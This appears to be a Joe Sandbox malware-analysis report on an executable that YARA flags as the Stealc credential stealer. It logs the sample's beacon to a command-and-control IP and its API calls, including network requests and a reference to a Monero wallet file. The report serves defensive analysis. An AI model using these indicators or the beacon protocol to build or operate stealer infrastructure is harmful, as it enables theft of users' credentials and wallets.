Oct 20, 2024 09:40:08.114696980 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 42 45 34 35 33 30 31 33 42 46 31 30 37 39 32 30 39 30 34 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="hwid"09BE453013BF1079209047------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build"doma------ECGIIIDAKJDHJKFHIEBF--
Oct 20, 2024 09:40:08.469763041 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 07:40:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	03:40:02
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4f0000
File size:	1'851'392 bytes
MD5 hash:	E6BD9E89D78F9970FFE0EDABA03DC207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2090253153.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00509860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,012D0840), ref: 005098A1
GetProcAddress.KERNEL32(75900000,012D0690), ref: 005098BA
GetProcAddress.KERNEL32(75900000,012D0558), ref: 005098D2
GetProcAddress.KERNEL32(75900000,012D0678), ref: 005098EA
GetProcAddress.KERNEL32(75900000,012D0570), ref: 00509903
GetProcAddress.KERNEL32(75900000,012D8930), ref: 0050991B
GetProcAddress.KERNEL32(75900000,012C6760), ref: 00509933
GetProcAddress.KERNEL32(75900000,012C6920), ref: 0050994C
GetProcAddress.KERNEL32(75900000,012D05A0), ref: 00509964
GetProcAddress.KERNEL32(75900000,012D05B8), ref: 0050997C
GetProcAddress.KERNEL32(75900000,012D05E8), ref: 00509995
GetProcAddress.KERNEL32(75900000,012D0618), ref: 005099AD
GetProcAddress.KERNEL32(75900000,012C6980), ref: 005099C5
GetProcAddress.KERNEL32(75900000,012D06F0), ref: 005099DE
GetProcAddress.KERNEL32(75900000,012D0630), ref: 005099F6
GetProcAddress.KERNEL32(75900000,012C68E0), ref: 00509A0E
GetProcAddress.KERNEL32(75900000,012D0660), ref: 00509A27
GetProcAddress.KERNEL32(75900000,012D0918), ref: 00509A3F
GetProcAddress.KERNEL32(75900000,012C69A0), ref: 00509A57
GetProcAddress.KERNEL32(75900000,012D08B8), ref: 00509A70
GetProcAddress.KERNEL32(75900000,012C6940), ref: 00509A88
LoadLibraryA.KERNEL32(012D08A0,?,00506A00), ref: 00509A9A
LoadLibraryA.KERNEL32(012D08D0,?,00506A00), ref: 00509AAB
LoadLibraryA.KERNEL32(012D0858,?,00506A00), ref: 00509ABD
LoadLibraryA.KERNEL32(012D0870,?,00506A00), ref: 00509ACF
LoadLibraryA.KERNEL32(012D0888,?,00506A00), ref: 00509AE0
GetProcAddress.KERNEL32(75070000,012D0900), ref: 00509B02
GetProcAddress.KERNEL32(75FD0000,012D08E8), ref: 00509B23
GetProcAddress.KERNEL32(75FD0000,012D8F70), ref: 00509B3B
GetProcAddress.KERNEL32(75A50000,012D8F28), ref: 00509B5D
GetProcAddress.KERNEL32(74E50000,012C6840), ref: 00509B7E
GetProcAddress.KERNEL32(76E80000,012D89B0), ref: 00509B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00509BB6

Strings

NtQueryInformationProcess, xrefs: 00509BAA

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 2c578a0a4d40b496b4f730a156cd11256f05f007e54e58289d5934b0f8567186
Instruction ID: acb10298b2003ecba963d62d8476555b1c83a7cb535353341ae4eefb1730cb26
Opcode Fuzzy Hash: 2c578a0a4d40b496b4f730a156cd11256f05f007e54e58289d5934b0f8567186
Instruction Fuzzy Hash: 37A14EB6504240BFF345DFA8ED8A9963BF9F7AC303704C51AA685C3264D73D9441CB5A

Function 004F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 004F460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004F479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004F477B

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 0c30f6a5012a72978b7e5d77b73dd5749e70cf5abb9047ab7a7e52adea499ed9
Instruction ID: 61b30c3c5dac151c90ede85d8478ab387aea48bb13f3a70eeaadc03230cb7517
Opcode Fuzzy Hash: 0c30f6a5012a72978b7e5d77b73dd5749e70cf5abb9047ab7a7e52adea499ed9
Instruction Fuzzy Hash: C5412B607C7604FEF736B7A4A86EEDF7B667FD6710F905060AC0092380DBB06D818516

Function 004F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004F4839
Part of subcall function 004F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004F4849

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004F4915
StrCmpCA.SHLWAPI(?,012DE250), ref: 004F493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004F4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00510DDB,00000000,?,?,00000000,?,",00000000,?,012DE230), ref: 004F4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004F4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004F4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004F4E49
InternetCloseHandle.WININET(00000000), ref: 004F4EAD
InternetCloseHandle.WININET(00000000), ref: 004F4EC5
HttpOpenRequestA.WININET(00000000,012DE3F0,?,012DDC38,00000000,00000000,00400100,00000000), ref: 004F4B15

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

InternetCloseHandle.WININET(00000000), ref: 004F4ECF

Strings

------, xrefs: 004F4C69
", xrefs: 004F4D33
------, xrefs: 004F4B28
------, xrefs: 004F49BD
", xrefs: 004F4BF2

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 577a0bc9b0b0f54626ae1da5cd9a5c3de526a3f5c0fe81a534ac2306db247541
Instruction ID: f99eb611cbdfa64e0dabbf4b30073692e3a0b36b614c7b61de111e8661140b05
Opcode Fuzzy Hash: 577a0bc9b0b0f54626ae1da5cd9a5c3de526a3f5c0fe81a534ac2306db247541
Instruction Fuzzy Hash: 38121172910219AADB15EB90DD96FEEBB38BF94300F508199B106720D1EF742F49CF66

Function 00507850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004F11B7), ref: 00507880
RtlAllocateHeap.NTDLL(00000000), ref: 00507887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0050789F

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 1fe644267693b8815edac566062be954fd99baf5d46f99feacffc41e9f0edc1f
Instruction ID: 165128ef696b287b041613758099ad4f53156d7c6ac4e8053064ab28a82b5551
Opcode Fuzzy Hash: 1fe644267693b8815edac566062be954fd99baf5d46f99feacffc41e9f0edc1f
Instruction Fuzzy Hash: 95F044B1D44208ABD700DF94DD4ABAEFBB8FB04711F104559F645A2680C77815048BA1

Function 004F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 004F116A
ExitProcess.KERNEL32 ref: 004F117E

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: d8b367515d1f4405bb7d02e02ba48fcf5270b3036a71d2c14f91344114b6fef5
Instruction ID: deb9ed60db90f4ef4af60f4f4032050a08d370bd1627417b166cc273e0a54435
Opcode Fuzzy Hash: d8b367515d1f4405bb7d02e02ba48fcf5270b3036a71d2c14f91344114b6fef5
Instruction Fuzzy Hash: 96D05E7490030CEBDB00DFE0D98A6EDBB78FB0C322F000555D90562340EA355491CAAA

Function 00509C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,012C6720), ref: 00509C2D
GetProcAddress.KERNEL32(75900000,012C6740), ref: 00509C45
GetProcAddress.KERNEL32(75900000,012D8D18), ref: 00509C5E
GetProcAddress.KERNEL32(75900000,012D8E50), ref: 00509C76
GetProcAddress.KERNEL32(75900000,012DCCB8), ref: 00509C8E
GetProcAddress.KERNEL32(75900000,012DCBE0), ref: 00509CA7
GetProcAddress.KERNEL32(75900000,012CB298), ref: 00509CBF
GetProcAddress.KERNEL32(75900000,012DCCE8), ref: 00509CD7
GetProcAddress.KERNEL32(75900000,012DCBC8), ref: 00509CF0
GetProcAddress.KERNEL32(75900000,012DCBF8), ref: 00509D08
GetProcAddress.KERNEL32(75900000,012DCCA0), ref: 00509D20
GetProcAddress.KERNEL32(75900000,012C6780), ref: 00509D39
GetProcAddress.KERNEL32(75900000,012C67C0), ref: 00509D51
GetProcAddress.KERNEL32(75900000,012C6800), ref: 00509D69
GetProcAddress.KERNEL32(75900000,012C6820), ref: 00509D82
GetProcAddress.KERNEL32(75900000,012DCD00), ref: 00509D9A
GetProcAddress.KERNEL32(75900000,012DCD78), ref: 00509DB2
GetProcAddress.KERNEL32(75900000,012CB0B8), ref: 00509DCB
GetProcAddress.KERNEL32(75900000,012C6860), ref: 00509DE3
GetProcAddress.KERNEL32(75900000,012DCD90), ref: 00509DFB
GetProcAddress.KERNEL32(75900000,012DCC10), ref: 00509E14
GetProcAddress.KERNEL32(75900000,012DCCD0), ref: 00509E2C
GetProcAddress.KERNEL32(75900000,012DCC70), ref: 00509E44
GetProcAddress.KERNEL32(75900000,012C6880), ref: 00509E5D
GetProcAddress.KERNEL32(75900000,012DCB08), ref: 00509E75
GetProcAddress.KERNEL32(75900000,012DCB20), ref: 00509E8D
GetProcAddress.KERNEL32(75900000,012DCD60), ref: 00509EA6
GetProcAddress.KERNEL32(75900000,012DCDA8), ref: 00509EBE
GetProcAddress.KERNEL32(75900000,012DCB68), ref: 00509ED6
